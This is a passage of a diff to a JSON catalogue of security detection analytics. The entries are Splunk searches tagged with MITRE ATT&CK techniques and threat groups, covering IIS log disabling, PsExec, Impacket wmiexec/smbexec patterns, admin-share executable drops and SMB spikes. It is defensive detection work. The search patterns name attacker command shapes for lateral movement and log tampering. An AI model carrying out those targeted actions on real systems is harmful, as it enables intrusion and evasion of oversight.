\"unsecapp.exe\")) NOT(Image IN(\"*\\\\windows\\\\*\",\"*\\\\program files*\", \"*\\\\wbem\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode Signed ProcessId Hashes IMPHASH | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wbemprox_com_object_execution_filter`", - "tags": { - "analytic_story": [ - "LockBit Ransomware", - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious COM Object Execution on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.003", - "mitre_attack_technique": "CMSTP", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group", - "MuddyWater" - ] - } - ] - } + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked listener on", + "target_data_element": "ip" + }, + { + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked listener on", + "target_data_element": "port" + }, + { + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked listener on", + "target_data_element": "process" } ], "external_reference": [ @@ -305455,176 +216732,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows Disable Windows Event Logging Disable HTTP Logging", - "description": "The following analytic detects the use of AppCmd.exe to disable HTTP logging on IIS servers. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution events where AppCmd.exe is used with specific parameters to alter logging settings. This activity is significant because disabling HTTP logging can help adversaries hide their tracks and avoid detection by removing evidence of their actions. If confirmed malicious, this could allow attackers to operate undetected, making it difficult to trace their activities and respond to the intrusion effectively.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where NOT (Processes.parent_process_name IN (\"msiexec.exe\", \"iissetup.exe\")) Processes.process_name=appcmd.exe Processes.process IN (\"*set config*\", \"*httplogging*\",\"*dontlog:true*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_windows_event_logging_disable_http_logging_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "IIS Components", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to disable IIS HTTP Logging.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.002", - "mitre_attack_technique": "Disable Windows Event Logging", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerShell Disable HTTP Logging", - "description": "The following analytic detects the use of `get-WebConfigurationProperty` and `Set-ItemProperty` commands in PowerShell to disable HTTP logging on Windows systems. This detection leverages PowerShell Script Block Logging, specifically looking for script blocks that reference HTTP logging properties and attempt to set them to \"false\" or \"dontLog\". Disabling HTTP logging is significant as it can be used by adversaries to cover their tracks and delete logs, hindering forensic investigations. If confirmed malicious, this activity could allow attackers to evade detection and persist in the environment undetected.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN(\"*get-WebConfigurationProperty*\",\"*Set-ItemProperty*\") AND ScriptBlockText IN (\"*httpLogging*\",\"*Logfile.enabled*\") AND ScriptBlockText IN (\"*dontLog*\", \"*false*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_disable_http_logging_filter`", - "tags": { - "analytic_story": [ - "IIS Components", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to disable or modifying a IIS HTTP logging has occurred on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.002", - "mitre_attack_technique": "Disable Windows Event Logging", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -309541,932 +220648,6 @@ "https://docs.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview", "https://docs.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview" ] - }, - { - "name": "Detect PsExec With accepteula Flag", - "description": "The following analytic identifies the execution of `PsExec.exe` with the `accepteula` flag in the command line. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because PsExec is commonly used by threat actors to execute code on remote systems, and the `accepteula` flag indicates first-time usage, which could signify initial compromise. If confirmed malicious, this activity could allow attackers to gain remote code execution capabilities, potentially leading to further system compromise and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_psexec` Processes.process=*accepteula* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`| `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_psexec_with_accepteula_flag_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "BlackByte Ransomware", - "CISA AA22-320A", - "DHS Report TA18-074A", - "DarkGate Malware", - "DarkSide Ransomware", - "HAFNIUM Group", - "IcedID", - "Rhysida Ransomware", - "SamSam Ransomware", - "Sandworm Tools", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ running the utility for possibly the first time.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Executable File Written in Administrative SMB Share", - "description": "The following analytic detects executable files (.exe or .dll) being written to Windows administrative SMB shares (Admin$, IPC$, C$). It leverages Windows Security Event Logs with EventCode 5145 to identify this activity. This behavior is significant as it is commonly used by tools like PsExec/PaExec for staging binaries before creating and starting services on remote endpoints, a technique often employed for lateral movement and remote code execution. If confirmed malicious, this activity could allow an attacker to execute arbitrary code remotely, potentially compromising additional systems within the network.", - "search": "`wineventlog_security` EventCode=5145 RelativeTargetName IN (\"*.exe\",\"*.dll\") ObjectType=File ShareName IN (\"\\\\\\\\*\\\\C$\",\"\\\\\\\\*\\\\IPC$\",\"\\\\\\\\*\\\\admin$\") AccessMask= \"0x2\" | stats min(_time) as firstTime max(_time) as lastTime count by EventCode ShareName RelativeTargetName ObjectType AccessMask src_user src_port IpAddress | `security_content_ctime(firstTime)` | `executable_file_written_in_administrative_smb_share_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Graceful Wipe Out Attack", - "Hermetic Wiper", - "IcedID", - "Industroyer2", - "Prestige Ransomware", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$src_user$ dropped or created an executable file in known sensitive SMB share. Share name=$ShareName$, Target name=$RelativeTargetName$, and Access mask=$AccessMask$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement Commandline Parameters", - "description": "The following analytic identifies the use of suspicious command-line parameters associated with Impacket tools, such as `wmiexec.py`, `smbexec.py`, `dcomexec.py`, and `atexec.py`, which are used for lateral movement and remote code execution. It detects these activities by analyzing process execution logs from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns. This activity is significant because Impacket tools are commonly used by adversaries and Red Teams to move laterally within a network. If confirmed malicious, this could allow attackers to execute commands remotely, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe (Processes.process = \"*/Q /c * \\\\\\\\127.0.0.1\\\\*$*\" AND Processes.process IN (\"*2>&1*\",\"*2>&1*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command line parameters on $dest$ may represent a lateral movement attack with Impackets tools", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement smbexec CommandLine Parameters", - "description": "The following analytic identifies suspicious command-line parameters associated with the use of Impacket's smbexec.py for lateral movement. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns indicative of Impacket tool usage. This activity is significant as both Red Teams and adversaries use Impacket for remote code execution and lateral movement. If confirmed malicious, this activity could allow attackers to execute commands on remote endpoints, potentially leading to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process,\"(?i)echo\\s+cd\") AND match(process, \"(?i)\\\\__output\") AND match(process, \"(?i)C:\\\\\\\\Windows\\\\\\\\[a-zA-Z]{1,8}\\\\.bat\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_smbexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using smbexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement WMIExec Commandline Parameters", - "description": "The following analytic detects the use of Impacket's `wmiexec.py` tool for lateral movement by identifying specific command-line parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes spawned by `wmiprvse.exe` with command-line patterns indicative of Impacket usage. This activity is significant as Impacket tools are commonly used by adversaries for remote code execution and lateral movement within a network. If confirmed malicious, this could allow attackers to execute arbitrary commands on remote systems, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=wmiprvse.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") AND match(process, \"__\\\\d{1,10}\\\\.\\\\d{1,10}\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `impacket_lateral_movement_wmiexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using wmiexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Special Privileged Logon On Multiple Hosts", - "description": "The following analytic detects a user authenticating with special privileges on 30 or more remote endpoints within a 5-minute window. It leverages Event ID 4672 from Windows Security logs to identify this behavior. This activity is significant as it may indicate lateral movement or remote code execution by an adversary. If confirmed malicious, the attacker could gain extensive control over the network, potentially leading to privilege escalation, data exfiltration, or further compromise of the environment. Security teams should adjust detection thresholds based on their specific environment.", - "search": " `wineventlog_security` EventCode=4672 AND NOT(Caller_User_Name IN (\"DWM-1\",\"DWM-2\",\"DWM-3\",\"LOCAL SERVICE\",\"NETWORK SERVICE\",\"SYSTEM\",\"*$\")) | bucket span=5m _time | stats dc(Computer) AS unique_targets values(Computer) as dest values(PrivilegeList) as privileges by _time, Caller_User_Name | rename Caller_User_Name as user| where unique_targets > 30 | `windows_special_privileged_logon_on_multiple_hosts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user $user$ obtained special privileges on a large number of endpoints (Count: $unique_targets$) within 5 minutes.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1135", - "mitre_attack_technique": "Network Share Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT32", - "APT38", - "APT39", - "APT41", - "Chimera", - "DarkVishnya", - "Dragonfly", - "FIN13", - "Sowbug", - "Tonto Team", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "SMB Traffic Spike", - "description": "The following analytic detects spikes in Server Message Block (SMB) traffic connections, which are used for sharing files and resources between computers. It leverages network traffic logs to monitor connections on ports 139 and 445, and SMB application usage. By calculating the average and standard deviation of SMB connections over the past 70 minutes, it identifies sources exceeding two standard deviations from the average. This activity is significant as it may indicate potential SMB-based attacks, such as ransomware or data theft. If confirmed malicious, attackers could exfiltrate data or spread malware within the network.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Traffic where All_Traffic.dest_port=139 OR All_Traffic.dest_port=445 OR All_Traffic.app=smb by _time span=1h, All_Traffic.src | `drop_dm_object_name(\"All_Traffic\")` | eventstats max(_time) as maxtime | stats count as num_data_samples max(eval(if(_time >= relative_time(maxtime, \"-70m@m\"), count, null))) as count avg(eval(if(_time upperBound AND num_data_samples >=50, 1, 0) | where isOutlier=1 | table src count | `smb_traffic_spike_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Emotet Malware DHS Report TA18-201A", - "Hidden Cobra Malware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": 